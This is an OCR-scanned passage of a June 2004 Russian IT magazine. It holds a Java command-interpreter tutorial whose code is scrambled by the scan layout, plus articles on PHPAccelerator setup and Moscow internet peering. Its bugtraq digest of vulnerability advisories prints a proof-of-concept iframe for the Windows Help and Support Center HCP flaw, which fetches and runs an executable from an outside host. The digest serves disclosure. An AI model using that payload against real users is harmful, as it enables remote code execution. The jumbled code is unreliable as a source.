StringBuffer sb = new StringBuffer();
Hashtable commands = interpreter.getCommands();
Enumeration names = commands.keys();
while (names.hasMoreElements()) {
String name = (String) names.nextElement();
Command cmd = (Command) commands.get(name);
String descr = cmd.getDescription(name);
sb.append(name + "\t" + descr);
if (names.hasMoreElements()) {
sb.append(CRLF);
} import java.util.*;
} import simplecli.*;
if (sb.length() > 0) {
return sb.toString();
} else {
return null;
} public RegisterCommand(Interpreter interpreter) {
} this.interpreter = interpreter;
case 1: {
// Îäèí ïàðàìåòð - âîçâðàùàåì ïîëíóþ ñïðàâî÷íóþ
// èíôîðìàöèþ ïî êîìàíäå, óêàçàííîé â êà÷åñòâå
// ïàðàìåòðà.
String name = (String) parameters.get(0);
Hashtable commands = interpreter.getCommands();
Command cmd = (Command) commands.get(name);
if (cmd == null) {
throw new UnknownCommandError(name);
} String name = (String) parameters.get(0);
return cmd.getHelp(name);
}
default:
throw new SyntaxError();
} throw new KnownCommandError();
}
public String getDescription(String name) {
return "Prints help infomation.";
}
public String getHelp(String name) {
return "Prints help infomation."
+ CRLF + "Syntax: " + name + " [command]";
} try {
private Interpreter interpreter;
private final static String CRLF =
System.getProperty("line.separator");
}
Динамическое изменение
системы команд
Посмотрев на код нашего конкретного интерпретатора,
можно заметить, что система команд целевого языка фик-
сируется еще на этапе компиляции кода. Это не очень
гибкое решение.
Конечно же, можно переписать метод initCommands
так, чтобы он создавал систему команд «на лету», считы-
вая ее описание из конфигурационного файла.
Но более интересным решением может оказаться
встраивание возможности изменения системы команд
непосредственно в целевой язык.
Давайте закодируем пару команд RegisterCommand/
UnregisterCommand, первая из которых будет добавлять
команду к системе команд, а вторая – удалять ее оттуда.
мя обязательными параметрами. Первый – имя, под кото-
рым будет зарегистрирована новая команда. Второй –
полностью квалифицированное имя класса, реализующе-
го новую команду, причем этот класс должен удовлетво-
рять ряду ограничений:
! класс должен реализовывать интерфейс Command;
! класс должен предоставлять конструктор без парамет-
ров;
! класс должен быть доступен для Java VM через
CLASSPATH.
package simplecli.command;
import simplecli.error.*;
public class RegisterCommand implements Command {
}
public String run(Properties context,
ArrayList parameters) throws SyntaxError,
KnownCommandError, ClassNotFoundError, ClassCastError {
if (parameters.size() != 2) {
throw new SyntaxError();
}
String clazzName = (String) parameters.get(1);
Hashtable commands = interpreter.getCommands();
if (commands.containsKey(name)) {
}
Class clazz = null;
try {
clazz = Class.forName(clazzName);
} catch (ClassNotFoundException cnfe) {
throw new ClassNotFoundError();
}
Command command = null;
command = (Command) clazz.newInstance();
} catch (Exception e) {

76
 программирование
throw new ClassCastError(); public class BaseInterpreterTest {
}
public static void main(String[] args)
commands.put(name, command); throws IOException {
return null; System.out.println("BaseInterpreter testbed");
}
BufferedReader in = new BufferedReader(
public String getDescription(String name) { new InputStreamReader(System.in));
return "Registers new command."; PrintWriter out = new PrintWriter(System.out, true);
}
Interpreter interpreter = new BaseInterpreter();
public String getHelp(String name) { interpreter.interpret(in, out, out);
return "Registers new command." }
+ CRLF + "Syntax: " + name + " command class";
} }
private Interpreter interpreter;
Компилируем, запускаем, экспериментируем:
private final static String CRLF =
System.getProperty("line.separator");
}
У команды UnregisterCommand всего один параметр,
который задает команду, подлежащую удалению из сис-
темы команд.

import java.util.*;

import simplecli.*;
import simplecli.error.*;

public class UnregisterCommand implements Command {

Поиграем с командой set:
public UnregisterCommand(Interpreter interpreter) {
this.interpreter = interpreter;
}

public String run(Properties context,

ArrayList parameters)
throws SyntaxError, UnknownCommandError {
if (parameters.size() != 1) {
throw new SyntaxError();
}
String name = (String) parameters.get(0);
Hashtable commands = interpreter.getCommands();
if (commands.remove(name) == null) {
throw new UnknownCommandError();
}
return null;
}
Удалим set из системы команд:
public String getDescription(String name) {
return "Unregisters command.";
}

public String getHelp(String name) {

return "Unregisters command." Вернем set обратно:
+ CRLF + "Syntax: " + name + " command";
}
private Interpreter interpreter;
Зарегистрировать уже существующую команду не уда-
private final static String CRLF = стся:
System.getProperty("line.separator");
}

Также не удастся зарегистрировать команды, реализу-

Испытательный полигон емые несуществующими или неподходящими классами:
Вот все работы и завершены. Теперь самое время уви-
деть интерпретатор в действии.

package simpleclitest;

import java.io.*; Ну и напоследок:

import simplecli.*;

№6(19), июнь 2004 77

web

ОПТИМИЗАЦИЯ РАБОТЫ PHP

ПРИ ПОМОЩИ PHPAccelerator

В статье «Кэширование веб-сценариев» февральского номера журнала была затронута тема

оптимизации сайтов. Рассмотренный способ является несколько трудоёмким. Одним из более
эффективных решений является PHPAccelerator. О нём, собственно, и пойдет разговор в данной
статье.

АНДРЕЙ УВАРОВ

78

Итак, что же такое PHPAccelerator (PHPA)? Это расшире-
ние, подключаемое к PHP-компилятору, которое за счёт
кэширования ускоряет работу скриптов. В вышеупомяну-
той статье мы ускоряли работу скриптов за счёт кэширо-
вания их вывода, но в данном случае кэширование под-
разумевает устранение чтения кода, его грамматическо-
го разбора, компилирования, многих операций выделения
памяти и копирования, а также, отчасти, дисковых опера-
ций. Очень важно, что для кэширования скриптов мы не
должны изменять каким-либо образом код. Это является
большим плюсом и экономит наше время, по сравнению с
организацией кэширования скриптов вручную. Находит-
ся PHPAccelerator по адресу: http://php-Accelerator.co.uk и
является полностью бесплатным. В настоящий момент
существуют версии для платформ: Linux, OpenBSD,
FreeBSD, BSDi и Solaris. Возможно, в будущем в этот спи-
сок будет включена и Windows. Стоит также заметить, что
PHPAccelerator совместим только с веб-сервером Apache,
но как надеются разработчики, будет осуществлена под-
держка и для других веб-серверов, из которых следую-
щим является Zeus.
Установка PHPAccelerator даже для неискушённого
пользователя представляет собой дело весьма простое.
Скачав архив с нужной версией и распаковав его, мы по-
лучаем несколько файлов характера «readme», phpa_
cashe_admin и собственно саму библиотеку с названием
вроде «php_accelerator_1.3.3r2.so». Для установки необ-
ходимо скопировать эту библиотеку в то место, где, по
вашему мнению, она должна находиться, обычно это /usr/
local/lib (лично мне больше нравится /usr/local/lib/phpa). В
качестве следующего шага необходимо добавить в фай-
ле php.ini полный путь к месту, где находится PHPAccelerator.
Например:
zend_extension=/usr/local/lib/phpa/php_accelerator_1.3.3r2.so
по причине того, что PHPAccelerator не является модулем,
используется параметр zend_extension.
Если вы используете модуль «dbg.so», то для коррект-
ной работы вам скорее всего придётся его отключить, так
как он является несовместимым с PHPAccelerator. Для того
чтобы все совершённые нами изменения вступили в силу,
необходимо перезагрузить веб-сервер. Как и было обе-
щано, установка не представила никаких трудностей.
После инсталляции возникает вопрос: «А как прове-
рить, работает ли PHPAccelerator?».
Существует несколько способов проверить вызываю-
щий у нас сомнения факт.
Способ 1
При работе PHPAccelerator добавляет к HTTP-заголовку
ответа параметр: X-Accelerated-By. Вы можете проверить
это, выполнив команду HEAD.
Например:
№6(19), июнь 2004
web
Способ 2
Дело в том, что если PHPAccelerator установлен, то в мас-
сиве $GLOBALS создаётся ключ _PHPA. Вот пример про-
стого скрипта, выводящего содержимое этой переменной:
<?php
var_dump($GLOBALS['_PHPA']);
?>
Если всё в порядке, то результат должен быть пример-
но следующим:
array(3) {
["ENABLED"]=>
bool(true)
["iVERSION"]=>
int(10302)
["VERSION"]=>
string(5) "1.3.2"
}
В противном случае будет выведено «NULL». Чтобы
определить, в чём заключается неисправность, заглянем
в error_log (error_log является местом, куда веб-сервер со-
храняет сведения о возникающих ошибках и некоторую
другую служебную информацию, обычно этот файл рас-
полагается в каталоге /var/log/httpd). Наличие сообщения,
подобного следующему:
свидетельствует о несовместимости PHPAccelerator с ус-
тановленной версией PHP. В этой ситуации вам необхо-
димо скачать нужную версию PHPAccelerator и заменить
ей старую. Это решит возникшую перед вами проблему.
Установив PHPAccelerator, уже можно наслаждаться
повышением быстродействия. Ознакомиться с тестами
производительности, можно по адресу: http://www.php-
accelerator.co.uk/perfomance.php.
Но, как говорится, нет предела совершенству. Вы мо-
жете самостоятельно изменить настройки посредством
добавления соответствующих ключей в файл php.ini и
присвоения им нужных вам значений. Таким образом,
можно определить файлы или каталоги, которые не дол-
жны подвергаться кэшированию, установить промежуток
времени, через который будет осуществляться чистка
кэша (чистка кэша заключается в удалении кэширован-
ных файлов, срок жизни которых истёк, т.е. тех, которые
не использовались дольше установленного времени). Бо-
лее подробно о настройке говорить не стоит, так как всё
очень подробно описано в файле CONFIGURATION, по-
ставляемом вместе с PHPAccelerator, да и особых трудно-
стей возникнуть не должно.
Единственное, что хочется добавить, так это то, что,
приступая к настройке, да и вообще использованию, вы
должны быть уверены в том, что знаете, насколько часто
вызываются и обновляются ваши скрипты, иначе вы про-
сто не получите должного результата.
79
 bugtraq
Удаленное выполнение произвольного
кода в Help and Support Center
в Windows XP/2003
Программа: Windows XP/2003.
Опасность: Высокая.
Описание: Уязвимость обнаружена в Help and Support
Center в обработке HCP URL.
Удаленный атакующий может сконструировать специ-
ально обработанный HCP URL, который выполнит произ-
вольный код в браузере пользователя, посетившего зло-
намеренный веб-сайт или просмотревшего злонамерен-
ное email-сообщение.
Пример/Эксплоит:
<iframe
src="HCP://system/DVDUpgrd/dvdupgrd.htm?website= ↵
exploitlabs.com/msnspoof/poc/dvdupgd/dvdupgd.exe"
width="1" height="1">
</iframe>
URL производителя: http://www.microsoft.com/technet/
security/bulletin/ms04-015.mspx.
Решение: Установите соответствующее обновление.
Удаленное переполнение буфера
в Check Point VPN-1
Программа: Check Point VPN-1.
Опасность: Критическая.
Описание: Переполнение буфера обнаружено в Check Point
VPN-1 в обработке ISAKMP-пакетов в процессе установ-
ления VPN-туннеля. Удаленный пользователь может вы-
полнить произвольный код на целевой системе и в неко-
торых случаях скомпрометировать защищаемую сеть.
URL производителя: http://www.checkpoint.com/techsupport/
alerts/ike_vpn.html.
Решение: Установите соответствующее обновление.
Удаленное переполнение буфера
в DeleGate в SSLway фильтре
Программа: DeleGate 8.9.2 и более ранние версии.
Опасность: Высокая.
Описание: Удаленный пользователь может послать сер-
тификат с заголовком или именем издателя более 256
байт, чтобы вызвать переполнение буфера в filters/sslway.c
в статической ssl_prcert()-функции.
URL производителя: http://www.delegate.org/delegate.
Решение: Установите обновленную версию сервера: ftp://
ftp.delegate.org/pub/DeleGate.
Удаленное переполнение буфера
в WildTangent Web Driver
Программа: WildTangent Web Driver 4.0.
Опасность: Высокая.
Описание: Несколько переполнений буфера обнаружено
в WTHoster и WebDriver-модулях. Удаленный пользователь
может представить специально обработанное имя файла,
чтобы вызвать переполнение и выполнить произвольный
код на целевой системе.
URL производителя: http://www.wildtangent.com.
Решение: Установите обновленную версию программы: http://
www.wildtangent.com/default.asp?pageID=webdriver_download.
80
Несколько удаленных переполнений
буфера в Exim
Программа: Exim 3.35, 4.32.
Опасность: Критическая.
Описание: Два стековых переполнения буфера обнару-
жено в Exim. Одно переполнение происходит в accept.c в
случаях, когда установлен параметр headers_check_syntax
в exim.conf. Второе переполнение происходит в verify.c в
случаях, когда установлен параметр require verify =
header_syntax. Обе уязвимости могут использоваться для
удаленного выполнения произвольного кода.
Также сообщается, что версия 3.35 содержит перепол-
нение буфера в verify.c в случаях, когда установлен пара-
метр sender_verify = true.
URL производителя: http://www.exim.org.
Решение: Способов устранения обнаруженной уязвимос-
ти не существует в настоящее время. Неофициальное ис-
правление можно посмотреть здесь: http://www.guninski.com/
exim1.html.
Удаленное переполнение буфера
в Apache mod_ssl
Программа: Apache mod_ssl.
Опасность: Критическая.
Описание: Удаленное переполнение буфера обнаружено
в Apache mod_ssl. Удаленный пользователь может выпол-
нить произвольный код на целевой системе.
Переполнение буфера обнаружено в параметре Subject-
DN в клиентском сертификате, который передается к функ-
ции ssl_util_uuencode_binary() в ssl_util.c. Согласно OpenPKG,
переполнение расположено в «SSLOptions + FakeBasicAuth»
выполнении mod_ssl и может быть вызвано, когда Subject-
DN длиннее 6 Кб, и в конфигурациях, в которых mod_ssl
доверяет сертификатам, изданным СА.
URL производителя: http://www.modssl.org.
Решение: Способов устранения обнаруженной уязвимо-
сти не существует в настоящее время.
Удаленное переполнение буфера
в Concurrent Versions System (CVS)
Программа: CVS 1.11.15 и более ранние версии.
Опасность: Высокая.
Описание: Переполнение динамической памяти обнару-
жено в Concurrent Versions System (CVS). Удаленный поль-
зователь может выполнить произвольный код на целевой
системе.
Переполнение происходит при обработке строк входа.
Удаленный пользователь может заставить функцию быть
вызванной несколько раз, включая некоторые символы в
строку входа, чтобы перезаписать память произвольны-
ми данными.
URL производителя: http://www.cvshome.org.
Решение: Установите обновленную версию программы:
http://ccvs.cvshome.org/servlets/ProjectDownloadList.
Составил Александр Антипов
 образование

ПИРИНГ

Слово peering попало в русский язык совершенно недавно, и современными англо-русскими

словарями оно переводится как равноправный информационный обмен. За неимением смысловых
аналогов в русском языке появился новый термин, полученный путём транслитерации, – «пиринг».
От него стали возникать различные производные вроде «пиринговые соглашения», «пиринговая
политика» и пр. Судя по опросу большинства встречающихся мне людей и по реакции на мой доклад
по этой проблеме на X международной конференции «Проблемы управления безопасностью сложных
систем», у меня сложилось мнение, что многие даже активно пользующиеся Интернетом люди,
имея за плечами немалый опыт, в том числе и по администрированию, часто не имеют ни малейшего
представления об этих терминах и что за ними стоит в реальной жизни. Данная статья есть попытка
раскрыть для массовой аудитории смысл происходящих явлений в России (по большей части
в Москве), связанных каким-либо образом с пирингом.
ПАВЕЛ ЗАКЛЯКОВ
Не скрою, что для меня большим источником вдохновения номером АТС, обслуживающей данный номер. Некоторые
написать эту статью стало не только сложившееся положе- номера зарезервированы. Маршрутизация является закры-
ние на рынке провайдеров в декабре 2002 года, которое от- той. Теперь проведём аналоги. Номер телефона – IP-адрес,
разилось на мне прямым образом, но и предшествующая номер АТС – это номер блока IP-адресов, маршрутизируе-
произошедшим событиям статья Александра Милицкого мых вашим провайдером. Зарезервированные номера 100,
«Битва за Россию» [1]. 01, 02, 03, 04, ... – 0.x.x.x, 1.x.x.x и др., зарезервированные
Итак, если коротко описать все те вопросы, на которые я IANA (RFC 3330). Маршрутизация для конечного пользова-
собрался ответить, то вот их список: теля и тут и там закрытая, то есть, чтобы дозвониться до
! Что есть пиринг? абонента или передать пакет хосту, достаточно только знать
! Почему о нём не знают конечные пользователи? номер абонента или IP-адрес и ничего более. МиниАТС с внут-
! Что было ранее и происходит сейчас? ренними номерами – внутренние частные сети 192.168.x.x и
! Наблюдения на практике. др. (RFC 1918). Телефонные узлы, обслуживающие несколь-
! Будущее за пирингом? ко АТС, – автономные системы у провайдеров.
! Выводы. Теперь давайте рассмотрим средне-статистические звон-
ки. Два телефонных абонента, например Аня и Ваня, знаю-
Что есть пиринг? щие друг друга и проживающие в одном доме или даже в
Рассмотрим некоторую телефонную сеть, например МГТС, одном микрорайоне, скорее всего будут иметь общую АТС.
потому что пользователей телефонов заведомо больше тех, При этом если они звонят друг другу, то слышимость скорее
кто пользуется Интернетом, и по сему проводимые аналоги всего будет лучшей, чем если Аня или Ваня позвонят своей
должны быть понятны всем. общей знакомой в другой район на другую АТС. Аналогич-
Обычный телефонный номер является семизначным и в ное можно сказать и о других двух абонентах – Мише и Пете,
общем виде выглядит так: XXX-YY-YY, где вместо X и Y сле- проживающих в другом районе и, например, учащихся в дру-
дует подставить цифры. Первые три цифры XXX являются гой школе. Количество звонков между абонентами одной АТС

82

будет больше в силу географического расположения або-
нентов, и такие звонки можно назвать локальными в преде-
лах конкретной АТС. В любом случае, даже если два або-
нента из разных районов будут звонить друг другу, то связь
между ними будет установлена локально в пределах Моск-
вы, и им совершенно нет необходимости пользоваться меж-
дугородней или международной связью. Количество звон-
ков по городу на порядок больше числа звонков в другие
города, и никому даже в голову не придёт, что для звонка по
Москве надо иметь выход на межгород.
Теперь та же ситуация с компьютерными сетями. Те же
Аня и Ваня, но уже абоненты их домовой или районной сети,
будут чаще меняться трафиком между собой, например, иг-
рая в какую-то игрушку, чем с абонентами другой сети –
Мишей и Петей. Даже если учесть, что они все знакомы, и
могут играть вместе, то их общий обменный трафик исходя
из здравого смысла должен быть локальным в пределах
Москвы. Данная ситуация есть разумное развитие событий
и как раз и есть «пиринг».
АТС, обслуживающая Аню и Ваню, и АТС, обслуживаю-
щая Мишу и Петю, как и их интернет-провайдеры, догова-
риваются о совместном обмене трафиком. На практике это
выглядит так: они скидываются вместе по некоторой не-
большой сумме денег на обслуживание их общего соеди-
нения и далее живут мирно, АТС, передавая звонки друг
другу, а провайдеры – пакеты. Обычно все от этого выиг-
рывают и не считают, кто к кому сколько раз звонил или
переслал пакетов.
Если же Ваня надумает позвонить своему приятелю Джо-
ну в США, то он заплатит за международный звонок по от-
дельному тарифу.
То же самое и в Интернете: если вдруг потребуется пере-
дать пакет в США, он будет посчитан по зарубежному тари-
фу. Теперь давайте зададим вопрос следующего раздела и
рассмотрим его.
Почему о пиринге не знают
конечные пользователи?
Потому что никому до этого нет дела, по той причине, что
при правильном стечении обстоятельств «пиринг» получа-
ется сам собой, и все охотно идут на него. Никому и в голову
не придёт то, что звонок из Москвы в Москву должен идти
через Воронеж, Стокгольм или Нью-Йорк. Что нельзя или
сложно сделать на примере телефонной сети, легко и про-
сто можно сделать в сети Интернет. Не все пользователи и
даже не все администраторы досконально представляют
себе работу АТС или Интернета от начала и до конца, дан-
ная общая безграмотность и позволяет нас дурачить и об-
манывать. Так кто же может нас обманывать и зачем? – об
этом в следующем разделе.
Что было ранее и происходит сейчас?
Ранее, до 3 декабря 2002 года, развитие российского рынка
доступа в Интернет, при некотором отставании по времени,
шло в русле общемировой практики. Скорости доступа и
качество услуг росли, а цены неуклонно снижались. Пирин-
говая политика наших провайдеров была по возможности
максимально разумна.
А.Милицкий [1] происходившее описывает следующим
№6(19), июнь 2004
образование
образом: «Первые российские провайдеры подключались к
коммерческим и академическим узлам на Западе прямыми
каналами, – когда Интернет только-только появился у нас в
стране, никакой соответствующей инфраструктуры здесь,
естественно, ещё не было. Первое время она, казалось, была
и не особенно нужна, – электронная почта использовалась
учёными и бизнесменами в основном для контактов с за-
падными коллегами; основные файловые архивы и наибо-
лее многочисленные веб-сервера располагались за океа-
ном, – так что проблемы внутрироссийской связности мало
кого беспокоили, а вот прямые каналы в самое «сердце» Ин-
тернета, напротив, очень ценились. Именно тогда и появи-
лось забытое ныне подразделение провайдеров на «первич-
ных» и «вторичных», – те, кто располагал прямым каналом
на Запад, оказывались в преимущественном положении по
сравнению с подключающимися уже к ним более мелкими
коллегами, да и качество связи своим клиентам обеспечи-
вали более высокое. Однако со временем число пользова-
телей в нашей стране росло, росло и количество располо-
женных здесь информационных ресурсов. Дорогостоящая
пропускная способность международных каналов всё силь-
нее и сильнее загружалась исключительно внутрироссийс-
ким трафиком – нередко электронное письмо, отправлен-
ное на соседнюю улицу, шло от одного нашего провайдера
по прямому внешнему каналу в Европу, оттуда – в Штаты и
уже оттуда, по другому международному каналу, – обратно
в Россию, к провайдеру адресата. Понятно, что ни дешевиз-
не, ни качеству коммуникаций такая организация связи не
способствовала.
Когда внутрироссийский трафик начал занимать в общем
потоке заметную долю, стало очевидным, что было бы на-
много удобнее переслать пакет данных на соседнюю улицу
по прямому проводу, чем дважды гонять его через океан и
обратно. Отечественные провайдеры к тому моменту успе-
ли уже заметно расплодиться, и прокладывать прямой ка-
бель от каждого к каждому было бы задачей непосильной
организационно и неподъёмной финансово. Куда дешевле
и удобнее было бы организовать обмен трафиком в одной
точке – каждому из участвующих провайдеров было бы до-
статочно дотянуть до неё единственный канал, чтобы иметь
возможность напрямую передавать трафик всем остальным
участникам.
Такая точка была создана в здании международной те-
лефонной станции ММТС-9 (в просторечии – М9) в 1995
году – основателями московского IX (Internet eXchange) ста-
ли АО «РЕЛКОМ», ООО «Компания «ДЕМОС», МГУ (сеть
RUNnet/MSUnet), НИИЯФ МГУ (сеть RUHEP/Radio-MSU), Кор-
порация «УНИКОР» (сеть FREEnet), Ассоциация RELARN,
АО «РОСПРИНТ», – операторы крупнейших на тот момент в
России IP-сетей. Обслуживание канала по Москве и аренда
стойки под оборудование обходились в совершенно смеш-
ные деньги по сравнению с платой за международные кана-
лы, а главное – эти расходы совершенно не зависели от объё-
мов передаваемого трафика. Кроме того, расположенное в
одном и том же здании оборудование крупнейших российс-
ких провайдеров, вполне естественно, было соединено меж-
ду собой по технологии Ethernet, – в результате чего в эпоху,
когда спутниковый канал 256 Кбит/с считался весьма скоро-
стным, в России появился десятимегабитный национальный
83
 образование
бекбон. Появились предпосылки для повышения скоростей
и снижения цен – по мере того, как рос объём русскоязыч-
ных информационных ресурсов, доля дешёвого внутрирос-
сийского трафика в общем потоке росла, и сам этот поток,
соответственно, дешевел».
С течением времени к MSK-IX присоединялись и присое-
диняются новые участники пиринговых соглашений, коих на
сегодняшний день уже насчитывается более сотни, но не всё
было и есть так гладко, как хотелось бы. Мы, как всегда,
«идём своим трудным путём».
Что же произошло и в чём трудность пути? А произошло
то, что часть компаний отказались от пиринговых соглаше-
ний, посчитав их для себя невыгодными. Как сложилась та-
кая ситуация? На мой взгляд, государство отдало в частные
руки очень многое, и это вылилось в то, что мы имеем. И
если перефразировать ещё сформулированный Лениным
принцип «захватить почту, телефон, телеграф» на современ-
ный лад, то в руках государства должны быть Интернет, связь
проводная и сотовая, радио и телевидение, чего в полном
объёме не особо наблюдается.
Строить телекоммуникационные каналы, грубо гово-
ря, прокладывать кабели по всей нашей необъятной ро-
дине – дело дорогое даже для государства. На практике
удешевление наблюдается, если кабели прокладывать со-
вместно с чем-то, например, если строят железную доро-
гу, то прокладывают кабели вдоль дороги – это намного
дешевле, в результате получаем одного владельца опор-
ной сети. Если строится газо- или нефтепровод, также
рядом прокладывается кабель, получаем вторую опорную
сеть. Строя любое протяжённое сооружение, будь то до-
рога, ЛЭП или что другое, можно создавать относительно
недорогие опорные сети.
«Таким совершенно отдельным явлением среди всех
компаний провайдеров была сеть компании «РТКомм.Ру»,
выделенного в отдельное юридическое лицо интернет-биз-
неса АО «Ростелеком», национального монополиста на
рынке дальней связи. Политика этой компании сводилась
к тому, что стоимость трафика должна быть одинаковой
независимо от расстояния, которое пришлось пробежать
IP-пакетам. И что трафик этот должен тарифицироваться
помегабайтно. С позицией «РТКомм.Ру» остальным опе-
раторам так или иначе приходилось считаться, поскольку в
целом ряде регионов альтернативные каналы попросту от-
сутствовали, и любой провайдер, стремящийся обеспечить
своим клиентам полную связанность, так или иначе вынуж-
ден был трафик этой компании – напрямую или через по-
средников – покупать» [1].
Если грубо описать потоки всего трафика провайдеров
на тот момент, то в зависимости от профиля клиентуры у
разных провайдеров соотношения между трафиком, полу-
чаемым от участников равноправного пирингового обмена
(открытого, о котором написано выше) и закрытого (с чуть
большей абонентской платой. «Впрочем, размер этой платы
все равно являлся фиксированной величиной, не зависящей
от объемов потребления, – так что трафик из этих сетей хоть
и обходился дороже, но, тем не менее, оставался всё ещё
дешёвым внутрироссийским.»), зарубежных провайдеров и
«РТКомм.Ру» «выглядели по-разному, но в среднем доли тра-
фика из этих 4 сегментов в общем потоке были приблизи-
84
тельно равны, – за исключением разве что «РТКомм.Ру»,
которого по сравнению с остальными оказалось чуть мень-
ше. Именно в таком состоянии межоператорский рынок пре-
бывал на ноябрь 2002-го года, когда грянул гром. На самом
деле, первые тучи начали сгущаться ещё летом 2002-го, ког-
да Александр Горбунов, вступивший на пост коммерческого
директора компании «РТКомм.Ру», занял крайне жёсткую
позицию в переговорах с другими операторами» [1], но это
не суть важно, важнее то, что произошло.
А произошло следующее. Часть компаний захотела вый-
ти из пирингового обмена, и объяснение было этому следу-
ющее. Существуют два вида провайдеров, одни тянут ка-
бельную инфраструктуру из города в город, из района в рай-
он и т. д. Так как это не дёшево, то можно сказать прямо, что
они вкладывают в это деньги, которые, естественно, окупа-
ются не сразу и не очень быстро. Другие покупают помеще-
ние, тянут чуть меньше кабелей и ставят себе мощные сер-
веры, устраивая при этом хостинг или модемный пул, обща-
ются с конечными клиентами. Трафик они при этом покупа-
ют у первой группы провайдеров. Так вот, первая группа
провайдеров решила, что она регулярно недополучает часть
денег, и решила ввести помегабайтную оплату за передан-
ные сообщения по их каналам. Мы тянем каналы, мы дикту-
ем политику – была их позиция. Именно чтобы этого не было,
не было повышения цен, монополия должна быть в руках
государства, как производство водки и спирта. Будет выку-
паться канал 10 лет, а не 2 года, значит, пусть выкупается 10
лет. Чтобы не оказаться совсем отрезанными от мира и не
прогореть от недостатка передаваемого трафика (как вхо-
дящего, так и исходящего), первая группа провайдеров, вклю-
чающая крупных операторов, таких как «Телеросс» (торго-
вые марки «Голден Телеком», приобретённый ими «Совин-
тел», «Россия Онлайн»), МТУ-Информ, МТУ-Интел и тот же
«РТКомм.Ру», привлекли к себе на хостинг значительные тра-
фикогенерирующие ресурсы.
Один лишь хостинг-провайдер masterhost.ru, привлечён-
ный компанией «РТКомм.Ру», клиентами которого являют-
ся такие сайты, как anekdot.ru, dni.ru, by.ru, «ВебПланета» и
многие другие, генерирует за месяц свыше 40 терабайт ис-
ходящего трафика. И это не говоря уже о mail.ru и других
привлечённых компаниями ресурсах.
После того как был обеспечен достаточный объём тра-
фика для создания «небольшого переворота», пиринговые
соглашения по безлимитному обмену трафиком (в преде-
лах пропускных каналов) за конечные деньги были расторг-
нуты, а цены на трафик были подняты.
«В результате сложилась парадоксальная ситуация, ког-
да за каждый килобайт анекдотов от Вернера, прокачиваю-
щийся по ethernet-сети внутри здания на улице Бутлерова,
любой провайдер вынужден платить втрое больше, чем за
такой же объём информации, переданный через океан из
США. Подобная ситуация, по самому своему характеру аб-
сурдная, уже привела к тому, что ряд операторов отказался
от прямых каналов «РТКомм.Ру» и стал пропускать трафик
из этих сетей по более дешёвым маршрутам, – через узлы
международных операторов в Хельсинки и Стокгольме. Это
уже в полной мере ощутили многие пользователи выделен-
ных линий по тарифным планам с раздельной тарификаци-
ей российского и зарубежного трафика, – «Анекдот.Ру» стал
 образование
теперь «заграницей», и суммы выставленных счетов под- Вот эти несколько фирм с раздельной тарификацией:
скочили в полтора раза. ! ООО «АГ Телеком»
При этом весьма занимательно, что «Анекдоты из Рос- http://www.agtel.net/tariffs/internet/index_ag.phtml#ros.
сии» за те наносекунды, что требуются IP-пакетам для пре- Òàáëèöà 1. Òàðèôíûé ïëàí «Ðîññèéñêèé»
одоления нескольких десятков метров внутри М9, оказыва- (áåç ó÷¸òà ðîññèéñêîãî òðàôèêà)
ются проданными дважды. Сначала «РТКомм.Ру» берёт
деньги с «Мастерхоста» за исходящий от него во внешний
мир трафик, а потом за этот же трафик выставляет счета
тянущим его провайдерам, – бизнес-модель, согласитесь,
весьма остроумная» [1].
Большие зарубежные компании, являющиеся для боль-
шинства наших провайдеров up-stream-провайдерами вро-
де Telia, Sonera и Cable & Wireless, в силу масштабов своих
оборотов по сравнению с нашими компаниями смогли пред-
ложить цену за трафик более низкую, чем его можно ку- Пусть на небольших скоростях, до 2 Мбит/с, но всё равно
пить напрямую. В результате наши российские деньги, ко- это интересно.
торые могли бы остаться в стране, потекли в эти зарубеж- ! ЗАО «Инвестэлектросвязь» (Корбина Телеком)
ные компании. http://www.corbina.net/internet/trafic.shtml
Поначалу были некоторые возмущения о произошедшем, Òàáëèöà 2. Òàðèôíûé ïëàí «Ðîññèÿ»
желания судиться у некоторых фирм, создать пиринговую
группу противодействия и пр. возмущения, но со временем
по экспоненте все волнения затихли и на сегодняшний день
по прошествии почти полутора лет ничего практически не
изменилось и сложилась довольно стабильная ситуация из
двух лагерей провайдеров [7]. Первый – это участвующие в
дешёвом пиринговом обмене трафиком и входящие в Рос-
сийскую Пиринговую Группу (РПГ), и второй – входящие в
Отдельную Пиринговую Группу (ОПГ), продающие и покупа-
ющие свой трафик помегабайтно.
Чтобы оценить, кто от этого выиграл, кто от этого проиг-
рал, давайте разберёмся в некоторых моментах на практике.
! ЗАО «Дэйта Форс Ай-Пи» (Data Force)
Наблюдения на практике http://www1.df.ru/services_2.html
Cледует отметить, что пиринговая тенденция существует во Òàáëèöà 3. Òàðèôíûé ïëàí ñ ðàçäåëüíîé îïëàòîé ðîññèéñêîãî
всём мире и Россия входит в Euro-IX [5]. Большую часть ин- è çàðóáåæíîãî òðàôèêà
формации о пиринге можно получить на сайте Московского
Internet Exchange [1], такую как статистика: http://www.msk-
ix.ru/rus/tech/stat.shtml, цены: http://www.msk-ix.ru/rus/docs/
prices.shtml и другую не менее интересную информацию.
Давайте рассмотрим участников подключения MSK-IX [4]. Я
поставил задачу найти провайдеров, предоставляющих та-
рифные планы с Россией unlimited в принципе, так как под- ! Информационно-Маркетинговый Телекоммуникацион-
ключение к одному и тому же провайдеру сильно зависит от ный Центр МГУ им. М.В.Ломоносова «ИМТ» (MSUNet)
затрат на подведение к нему кабеля, что мной не учитыва- http://www.direct.ru/internet/index_line.html
лось. С наибольшей вероятностью такие провайдеры долж- Òàáëèöà 4. Òàðèôíûé ïëàí «Unlimited Russia»
ны иметь прямое подключение к другим участникам пирин-
гового обмена MSK-IX, реже они подключаются через кого-
то. Просмотрев сайты всех 127 фирм [4], я нашёл лишь не-
сколько, вывесивших в открытом виде свои тарифы с раз-
дельной тарификацией для российского и зарубежного тра-
фика. Полностью безлимитные предложения с ограничен-
ной скоростью не рассматривались.
Наблюдается большой процент фирм, основной вид дея-
тельности которых, судя по содержанию их веб-сайтов, не
связан с телематическими услугами. То есть фирмы, жела-
ющие получать быстрый Интернет «из первых рук». Также
большой процент фирм с гибкой ценовой политикой, при-
чём настолько гибкой, что они не могут выставить даже ба- ! ООО «ТОР-Инфо» (TI-Net)
зовые цены на сайте, предлагая уточнять их по телефону. http://www.ornet.ru/?services.php

№6(19), июнь 2004 85

 образование
Òàáëèöà 5. Òàðèôíûå ïëàíû
! ООО «Зенон Н.С.П.» (Zenon/Internet)
http://www.zenon.net/txt/services/ll/#noru
http://www.zenon.net/txt/services/0555.html
Òàáëèöà 6. Òàðèôíûé ïëàí «Ðîññèÿ»
